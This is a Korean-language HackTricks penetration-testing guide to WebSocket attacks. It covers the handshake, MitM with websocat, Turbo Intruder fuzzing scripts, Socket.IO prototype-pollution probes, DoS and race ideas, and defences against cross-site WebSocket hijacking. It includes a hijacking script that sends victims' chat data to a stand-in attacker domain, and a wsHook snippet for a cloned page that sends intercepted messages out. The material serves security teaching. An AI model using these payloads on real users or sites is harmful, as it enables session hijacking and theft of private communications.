hacktricks/src/pentesting-web/websocket-attacks.md

314 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebSocket 공격
{{#include ../banners/hacktricks-training.md}}
## WebSocket란 무엇인가
WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며 **장기간 유지**되도록 설계되어 트랜잭션 시스템 없이도 언제든 양방향 메시징이 가능합니다. 이로 인해 WebSocket은 실시간 금융 데이터 스트림과 같이 **저지연 또는 서버-발신 통신**이 필요한 애플리케이션에 특히 유리합니다.
### WebSocket 연결 설정
WebSocket 연결 수립에 대한 자세한 설명은 [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하면, WebSocket 연결은 일반적으로 아래와 같이 클라이언트 측 JavaScript를 통해 시작됩니다:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss` 프로토콜은 **TLS**로 보호되는 WebSocket 연결을 의미하며, `ws`는 **보안되지 않은** 연결을 나타냅니다.
연결을 설정할 때 브라우저와 서버는 HTTP를 통해 핸드셰이크를 수행합니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 과정으로, 다음 예시에 설명되어 있습니다:
브라우저가 핸드셰이크 요청을 보냅니다:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
서버의 핸드셰이크 응답:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
연결이 수립되면 양방향으로 메시지를 교환하기 위해 연결이 열린 상태로 유지됩니다.
**WebSocket Handshake의 핵심 포인트:**
- `Connection``Upgrade` 헤더는 WebSocket handshake의 시작을 알립니다.
- `Sec-WebSocket-Version` 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 `13`입니다.
- `Sec-WebSocket-Key` 헤더에는 Base64로 인코딩된 무작위 값이 전송되어 각 handshake가 고유하도록 합니다. 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움을 줍니다. 이 값은 인증용이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성된 것이 아님을 확인하기 위한 것입니다.
- 서버 응답의 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, 서버가 WebSocket 연결을 열 의도가 있음을 검증합니다.
이러한 특징들은 handshake 과정이 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 가능하게 합니다.
### Linux 콘솔
`websocat`을 사용해 websocket과의 원시 연결을 수립할 수 있습니다.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
또는 websocat 서버를 생성하려면:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket 연결
현재 로컬 네트워크에서 클라이언트가 **HTTP websocket**에 연결되어 있는 것을 발견하면 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)을 시도하여 클라이언트와 서버 사이에 MitM 공격을 수행할 수 있습니다.\ 클라이언트가 연결을 시도하면 다음을 사용할 수 있습니다:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets 열거
You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **를 사용하여 websockets에서 알려진** **취약점**을 자동으로 발견, fingerprint 및 검색할 수 있습니다.
### Websocket Debug tools
- **Burp Suite**는 일반 HTTP 통신과 매우 유사한 방식으로 MitM websockets 통신을 지원합니다.
- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension**은 Burp에서 Websocket 통신을 더 잘 관리할 수 있게 해 주며, **history**를 확인하고 **interception rules**를 설정하며 **match and replace** 규칙을 적용하고 **Intruder**와 **AutoRepeater**를 사용할 수 있게 합니다.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 약칭 "**WebSocket/Socket.io Proxy**"인 이 도구는 Node.js로 작성되었으며 사용자 인터페이스를 제공하여 **capture, intercept, send custom** 메시지를 전송하고 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 볼 수 있게 합니다.
- [**wsrepl**](https://github.com/doyensec/wsrepl) 은 penetration testing을 위해 특별히 설계된 **interactive websocket REPL**입니다. 이 도구는 **incoming websocket messages and sending new ones**를 관찰하고 전송할 수 있는 인터페이스를 제공하며, 이 통신을 **automating**하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
- [**https://websocketking.com/**](https://websocketking.com/) 은 **다른 웹과 통신하기 위한 웹 인터페이스**로 websockets를 사용해 다른 웹과 통신할 수 있습니다.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 는 여러 통신/프로토콜 중 하나로 websockets를 사용해 다른 웹과 통신할 수 있는 **웹 인터페이스**를 제공합니다.
## Decrypting Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Websocket Lab
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 에는 websockets를 사용하는 웹을 실행하는 코드가 있으며, [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 에서 설명을 확인할 수 있습니다.
## Websocket Fuzzing
The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) 이제 WebSocket 메시지도 퍼징할 수 있게 합니다. 자세한 내용은 [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)에서 확인하세요.
### WebSocket Turbo Intruder (Burp extension)
PortSwigger's WebSocket Turbo Intruder는 Turbo Intruderstyle Python 스크립팅과 고속 퍼징을 WebSockets에 제공합니다. BApp Store 또는 소스에서 설치할 수 있습니다. 두 가지 구성요소를 포함합니다:
- Turbo Intruder: custom engines를 사용해 단일 WS endpoint에 고용량 메시징을 수행합니다.
- HTTP Middleware: 로컬 HTTP endpoint를 노출하여 바디를 persistent 연결을 통해 WS 메시지로 포워딩하므로, 모든 HTTP 기반 스캐너가 WS 백엔드를 탐색할 수 있게 합니다.
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
단일 메시지가 여러 응답을 유발할 때 노이즈를 줄이기 위해 `@MatchRegex(...)` 같은 데코레이터를 사용하세요.
### HTTP 뒤의 WS 브리지 (HTTP Middleware)
지속적인 WS 연결을 래핑하고 HTTP 본문을 WS 메시지로 전달하여 HTTP scanners로 자동화된 테스트를 수행합니다:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
그런 다음 로컬로 HTTP를 전송합니다; 본문은 WS 메시지로 전달됩니다:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
이 방법으로 WS 백엔드를 제어하면서 “흥미로운” 이벤트(예: SQLi errors, auth bypass, command injection behavior)를 필터링할 수 있습니다.
### Socket.IO 처리 (핸드셰이크, 하트비트, 이벤트)
Socket.IO는 WS 위에 자체적인 프레이밍을 추가합니다. 필수 쿼리 매개변수 `EIO`(예: `EIO=4`)로 이를 감지하세요. Ping (`2`)와 Pong (`3`)으로 세션을 유지하고 대화를 `"40"`으로 시작한 뒤 `42["message","hello"]` 같은 이벤트를 emit하세요.
Intruder 예시:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
HTTP 어댑터 변형:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Socket.IO를 통한 서버 측 prototype pollution 탐지
PortSwigger의 안전한 탐지 기법을 따라, 다음과 같은 payload를 전송해 Express 내부를 오염시켜 보세요:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
만약 인사말이나 동작이 변경되면(예: echo에 "Polluted"가 포함되는 경우), 서버 측 프로토타입을 오염시킨 것일 가능성이 큽니다. 영향은 도달 가능한 sinks에 따라 달라지며, Node.js prototype pollution 섹션의 gadgets와 연관지어 보세요. 참고:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
기본 엔진은 한 연결에서 메시지를 배치 처리합니다(처리량은 우수하지만 레이스에는 부적합). THREADED 엔진을 사용해 여러 WS 연결을 생성하고 페이로드를 병렬로 전송하면 논리적 레이스(doublespend, token reuse, state desync)를 유발할 수 있습니다. 예제 스크립트에서 시작해 `config()`의 동시성 설정을 조정하세요.
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
헤더에 거대한 페이로드 길이를 선언하지만 본문은 전송하지 않는 WS 프레임을 제작하세요. 일부 WS 서버는 길이를 신뢰하고 버퍼를 미리 할당하므로 `Integer.MAX_VALUE`에 가깝게 설정하면 OutOfMemory를 일으켜 원격 unauth DoS를 유발할 수 있습니다. 예제 스크립트를 참조하세요.
### CLI 및 디버깅
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- 내부 ID를 사용해 메시지를 캡처하고 연관시키려면 WS Logger를 활성화하세요.
- 복잡한 어댑터에서 메시지 ID 처리를 조정하려면 `Connection``inc*`/`dec*` 헬퍼를 사용하세요.
- `@PingPong`/`@Pong` 같은 데코레이터와 `isInteresting()` 같은 헬퍼는 노이즈를 줄이고 세션을 유지하는 데 도움됩니다.
### 운영 안전성
고속 WS fuzzing은 많은 연결을 열고 초당 수천 개의 메시지를 보낼 수 있습니다. 잘못된 프레임과 높은 전송률은 실제 DoS를 유발할 수 있습니다. 허가된 곳에서만 사용하세요.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, 은 WebSocket 핸드셰이크에 영향을 미치는 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**의 특정 사례로 분류됩니다. 이 취약점은 WebSocket 핸드셰이크가 **HTTP cookies**만으로 인증하고 **CSRF tokens**나 유사한 보안 수단을 사용하지 않을 때 발생합니다.
공격자는 취약한 애플리케이션으로 cross-site WebSocket 연결을 시도하는 **malicious web page**를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션에서 피해자 세션의 일부로 취급되어 세션 처리 메커니즘에서 CSRF 보호가 없는 점을 악용하게 됩니다.
In order for this attack to work, these are the requirements:
- websocket 인증은 **cookie 기반**이어야 합니다.
- cookie는 공격자의 서버에서 접근 가능해야 합니다(일반적으로 **`SameSite=None`**을 의미). 또한 Firefox에서 **Firefox Total Cookie Protection**이 활성화되어 있지 않고 Chrome에서 **blocked third-party cookies**가 차단되어 있지 않아야 합니다.
- websocket 서버가 연결의 origin을 검사하지 않거나(또는 이를 우회할 수 있어야 함).
Also:
- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
참고로 **websocket** 연결을 설정할 때 **cookie**가 서버로 전송됩니다. 서버는 전송된 cookie를 기반으로 각 특정 사용자의 **websocket session**을 연관시킬 수 있습니다.
예를 들어 websocket 서버가 "READY"라는 msg가 전송되면 사용자 대화 기록을 반환하는 경우, 연결을 수립하는 간단한 XSS(쿠키가 피해자 사용자를 인증하기 위해 자동으로 전송됨)가 "READY"를 전송하면 대화 기록을 조회할 수 있습니다.:
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### 다른 subdomain에서의 Cross Origin + Cookie
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서는 공격자가 웹소켓 통신이 발생하던 도메인의 **execute arbitrary Javascript in a subdomain**에 성공했습니다. 해당 도메인이 **subdomain**였기 때문에 **cookie**가 **sent**되었고, **Websocket didn't check the Origin properly** 때문에 통신이 가능해 **steal tokens from it**할 수 있었습니다.
### 사용자로부터 데이터 훔치기
사칭하려는 웹 애플리케이션(예: .html 파일)을 복사한 다음, websocket 통신이 발생하는 스크립트 내부에 다음 코드를 추가하세요:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
```
이제 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)에서 `wsHook.js` 파일을 다운로드하고 **웹 파일이 있는 폴더 안에 저장하세요**.\
웹 애플리케이션을 노출시키고 사용자가 접속하게 하면 websocket을 통해 송수신된 메시지를 훔칠 수 있습니다:
```javascript
sudo python3 -m http.server 80
```
### CSWSH 보호
CSWSH 공격은 **사용자가 악성 페이지에 접속**하고 그 페이지가 사용자가 이미 접속한 웹페이지에 **websocket 연결을 열어** 요청에 사용자의 cookies가 포함되어 사용자인 것처럼 인증되게 한다는 점에 기반합니다.
요즘에는 이 문제를 방지하기가 매우 쉽습니다:
- **Websocket server checking the origin**: websocket 서버는 항상 연결하는 출처(origin)를 확인하여 예상치 못한 페이지가 연결되는 것을 방지해야 합니다.
- **Authentication token**: 인증을 cookie에 기반하지 않고, websocket 연결을 서버가 사용자용으로 생성하고 공격자가 모르는 token(예: anti-CSRF token)에 기반하도록 할 수 있습니다.
- **SameSite Cookie attribute**: `SameSite` 값이 `Lax` 또는 `Strict`인 cookies는 외부 공격자 페이지에서 피해 서버로 전송되지 않으므로 cookie 기반 인증은 성공하지 않습니다. Chrome은 이제 이 플래그가 지정되지 않은 쿠키에 기본적으로 **`Lax`** 값을 설정하여 기본적으로 더 안전하게 만듭니다. 다만 쿠키가 생성된 처음 2분 동안은 값이 **`None`**이 되어 그 제한된 기간 동안 취약해지며(또한 이 조치가 언젠가 제거될 것으로 예상됩니다).
- **Firefox Total Cookie Protection**: Total Cookie Protection은 쿠키를 생성된 사이트에 격리시켜 동작합니다. 본질적으로 각 사이트는 제3자가 사용자의 브라우징 기록을 연결하지 못하도록 자체 cookie 저장 파티션을 가지게 됩니다. 이로 인해 공격자 사이트는 cookies에 접근할 수 없어 **CSWSH 사용이 불가능해집니다**.
- **Chrome third-party cookies block**: Chrome의 third-party cookies 차단은 `SameSite=None`인 경우에도 인증된 사용자의 cookie가 websocket 서버로 전송되는 것을 방지할 수 있습니다.
## Race Conditions
WebSockets에서의 Race Conditions도 존재합니다. 자세한 내용은 [여기](race-condition.md#rc-in-websockets)를 확인하세요.
## 기타 취약점
Web Sockets는 서버와 클라이언트 양쪽으로 데이터를 전송하는 메커니즘이므로, 서버·클라이언트가 정보를 처리하는 방식에 따라 **Web Sockets를 통해 websocket으로부터 전달되는 사용자 입력을 이용해 XSS, SQLi 등 기타 일반적인 웹 취약점을 악용할 수 있습니다.**
## **WebSocket Smuggling**
이 취약점은 **reverse proxies 제한을 우회**하도록 만들어 (실제로 그렇지 않더라도) **websocket 통신이 성립된 것으로 믿게 할 수 있습니다.** 이는 공격자가 **숨겨진 엔드포인트에 접근**할 수 있게 할 수 있습니다. 자세한 내용은 다음 페이지를 확인하세요:
{{#ref}}
h2c-smuggling.md
{{#endref}}
## References
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}